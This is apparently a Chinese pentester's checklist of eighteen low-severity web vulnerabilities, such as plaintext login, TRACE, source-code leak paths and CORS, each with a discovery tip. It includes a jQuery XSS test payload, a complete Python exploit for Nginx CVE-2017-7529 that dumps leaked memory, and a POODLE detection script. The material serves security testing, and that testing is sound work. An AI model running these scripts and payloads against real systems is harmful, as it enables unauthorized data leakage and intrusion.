以下漏洞过于硬核又比较相对容易挖掘,毕竟我是实习两年半的低危文档工程师。(可能写的不太全)适合在渗透里面没有找到漏洞,以防尴尬。
1.明文传输
一段未经过任何加密的数据
挖掘技巧:
抓取登录口数据包查看
2.HTTP慢速攻击
缓慢的http拒绝服务攻击是一种专门针对于Web的应用层拒绝服务攻击,攻击者操纵网络上的肉鸡,对目标Web服务器进行海量http request攻击,直到服务器带宽被打满,造成了拒绝服务。
挖掘技巧:
nmap -sV -vv -p80 --script=http-slowloris-check
3.未添加验证码
没有验证码验证机制,导致可以爆破账户密码。
挖掘技巧:
检查登录口
4.绝对路径泄露(版本泄露)
错误页面由服务器产生403、404、500等错误时,返回详细错误信息。报错信息中可能会包含服务器代码信息、数据库连接信息、SQL语句或者敏感文件的路径,为攻击者收集信息提供了方便。
挖掘技巧:
5.Http.sys远程代码执行
HTTP.sys是Microsoft Windows处理HTTP请求的内核驱动程序,为了优化IIS服务器性能,从IIS6.0引入,IIS服务进程依赖HTTP.sys。HTTP.sys远程代码执行漏洞实质是HTTP.sys的整数溢出漏洞,当攻击者向受影响的Windows系统发送特殊设计的HTTP 请求,HTTP.sys 未正确分析时就会导致此漏洞,成功利用此漏洞的攻击者可以在系统帐户的上下文中执行任意代码。
挖掘技巧:
Burp抓包/扫描器
6.iis6缓冲区溢出远程代码执行漏洞
CVE-2017-7269是IIS 6.0中存在的一个栈溢出漏洞,在IIS6.0处理PROPFIND指令的时候,由于对url的长度没有进行有效的长度控制和检查,导致执行memcpy对虚拟路径进行构造的时候,引发栈溢出,该漏洞可以导致远程代码执行。
挖掘技巧:
扫描器
7.TOMCAT示例文件泄露
Tomcat默认存在一个管理后台,默认的管理地址是http://IP或域名:端口号/manager/html。通过此后台,可以在不重启Tomcat服务的情况下方便地部署、启动、停止或卸载WEB应用。但是,如果配置不当的话就存在很大的安全隐患。攻击者利用这个弱点可以非常快速、轻松地入侵一台服务器,下面我们来看一个实例。
挖掘技巧:
访问
/examples/servlets/servlet/SessionExample /docs/ /examples/servlets/index.html /examples/jsp/index.htmls
8. 跨站请求追踪
TRACE作用:客户端发起一个请求时,这个请求可能要穿过防火墙、代理、网关或其他一些应用程序。每个中间节点都可能会修改原始的 HTTP 请求。TRACE 方法允许客户端在 最终将请求发送给服务器时,看看它变成了什么样子。
挖掘技巧:
当服务器允许trace方法时,就可能存在跨站跟踪攻击。跨站跟踪攻击即CST攻击,是一种利用XSS和HTTP TRACE功能来进行攻击的方式。
9. 源码泄露
/robots.txt /.git/config /.svn/entries /.DS_Store
挖掘技巧:
目录扫描
10. Flash跨域访问
flash跨域通信,依据的是crossdomain.xml文件。该文件配置在服务端,一般为根目录下,限制了flash是否可以跨域获取数据以及允许从什么地方跨域获取数据。
挖掘技巧:
访问crossdomain.xml
11. jQuery版本过低
因版本过低可导致XSS
挖掘技巧:
找到jQuery文件
<!DOCTYPE html><html><head><script src="jq地址"></script> <meta charset="utf-8"> <title>JS Bin</title></head><body> JQuery xss Test <script>var img = $("<img onerror='alert(123);'>");img.attr('src','xx');</script></body></html>
12. HTTP头部攻击
对Http头部进行污染
挖掘技巧:
修改数据包
13. 跨域资源共享(CORS) 跨域资源共享(CORS) 是一种机制,它使用额外的 HTTP 头来告诉浏览器 让运行在一个 origin (domain) 上的Web应用被准许访问来自不同源服务器上的指定的资源。当一个资源从与该资源本身所在的服务器不同的域、协议或端口请求一个资源时,资源会发起一个跨域 HTTP 请求。
挖掘技巧:
修改数据包
14. 内网ip泄露
网页中泄露内网ip
挖掘技巧:
修改数据包
15. Nginx整数溢出漏洞CVE-2017-7529 在Nginx的range filter中存在整数溢出漏洞,可以通过带有特殊构造的range的HTTP头的恶意请求引发这个整数溢出漏洞,并导致信息泄露。
挖掘技巧:
import urllib.parse, requests, argparse global colorama, termcolor try: import colorama, termcolor colorama.init(autoreset=True) except Exception as e: termcolor = colorama = None colored = lambda text, color="", dark=False: termcolor.colored(text, color or "white", attrs=["dark"] if dark else []) if termcolor and colorama else text class Exploit(requests.Session): buffer = set() def __init__(self, url): length = int(requests.get(url).headers.get("Content-Length", 0)) + 623 super().__init__() self.headers = {"Range": f"bytes=-{length},-9223372036854{776000 - length}"} self.target = urllib.parse.urlsplit(url) def check(self): try: response = self.get(self.target.geturl()) return response.status_code == 206 and "Content-Range" in response.text except Exception as e: return False def hexdump(self, data): for b in range(0, len(data), 16): line = [char for char in data[b: b + 16]] print(colored(" - {:04x}: {:48} {}".format(b, " ".join(f"{char:02x}" for char in line), "".join((chr(char) if 32 <= char <= 126 else ".") for char in line)), dark=True)) def execute(self): vulnerable = self.check() print(colored(f"[{'+' if vulnerable else '-'}] {exploit.target.netloc} is Vulnerable: {str(vulnerable).upper()}", "white" if vulnerable else "yellow")) if vulnerable: data = b"" while len(self.buffer) < 0x80: try: response = self.get(self.target.geturl()) for line in response.content.split(b"\r\n"): if line not in self.buffer: data += line self.buffer.add(line) except Exception as e: print() print(colored(f"[!] {type(e).__name__}:", "red")) print(colored(f" - {e}", "red", True)) break except KeyboardInterrupt: print() print(colored("[!] Keyboard Interrupted! (Ctrl+C Pressed)", "red")) break print(colored(f"[i] Receiving Data [{len(data)} bytes] ..."), end = "\r") if data: print() self.hexdump(data) if __name__ == "__main__": parser = argparse.ArgumentParser(prog = "CVE-2017-7529", description = "Nginx versions since 0.5.6 up to and including 1.13.2 are vulnerable to integer overflow vulnerability in nginx range filter module resulting into leak of potentially sensitive information triggered by specially crafted request.", epilog = "By: en0f") parser.add_argument("url", type = str, help = "Target URL.") parser.add_argument("-c", "--check", action = "store_true", help = "Only check if Target is vulnerable.") args = parser.parse_args() try: exploit = Exploit(args.url) if args.check: vulnerable = exploit.check() print(colored(f"[{'+' if vulnerable else '-'}] {exploit.target.netloc} is Vulnerable: {str(vulnerable).upper()}", "white" if vulnerable else "yellow")) else: try: exploit.execute() except Exception as e: print(colored(f"[!] {type(e).__name__}:", "red")) print(colored(f" - {e}", "red", True)) except KeyboardInterrupt: print(colored("[!] Keyboard Interrupted! (Ctrl+C Pressed)", "red")) except Exception as e: print(colored(f"[!] {urllib.parse.urlsplit(args.url).netloc}: {type(e).__name__}", "red"))
16. iis短文件
为了兼容16位MS-DOS程序,Windows为文件名较长的文件(文件夹)生成了对应的windows8.3短文件名。
挖掘技巧:
现有工具
17. 短信炸弹
在接收短信处都有可能存在短信轰炸漏洞
挖掘技巧:
重复发送数据包
18. SSL/tls1.0贵宾犬
nmap扫描可检测
挖掘技巧:
import ssl,socket,sys SSL_VERSION={ 'SSLv2':ssl.PROTOCOL_SSLv2, 'SSLv3':ssl.PROTOCOL_SSLv3, 'SSLv23':ssl.PROTOCOL_SSLv23, 'TLSv1':ssl.PROTOCOL_TLSv1, } def check_ssl_version(version): try: https = ssl.SSLSocket(socket.socket(),ssl_version=SSL_VERSION.get(version)) c = https.connect((ip,port)) print version + ' Supported' return True except Exception as e: return False USAGE = '==========\nKPoodle - SSL version and poodle attack vulnerability detect tool\n==========\nUsage: python kpoodle.py target port(default:443)\n\nby kingx' try: ip = sys.argv[1] except: print USAGE sys.exit() try: port = int(sys.argv[2]) except: port = 443 try: print 'Connecting...' s = socket.socket().connect((ip,port)) except Exception as e: print e print 'Can not connect to the target!' sys.exit() try: print 'Checking...' ssl3 = check_ssl_version('SSLv3') ssl2 = check_ssl_version('SSLv2') ssl23 = check_ssl_version('SSLv23') tls = check_ssl_version('TLSv1') if ssl3: print '\nSSLv3 Poodle Vulnerable!' else: print '\nNo SSLv3 Support!' except Exception as e: print e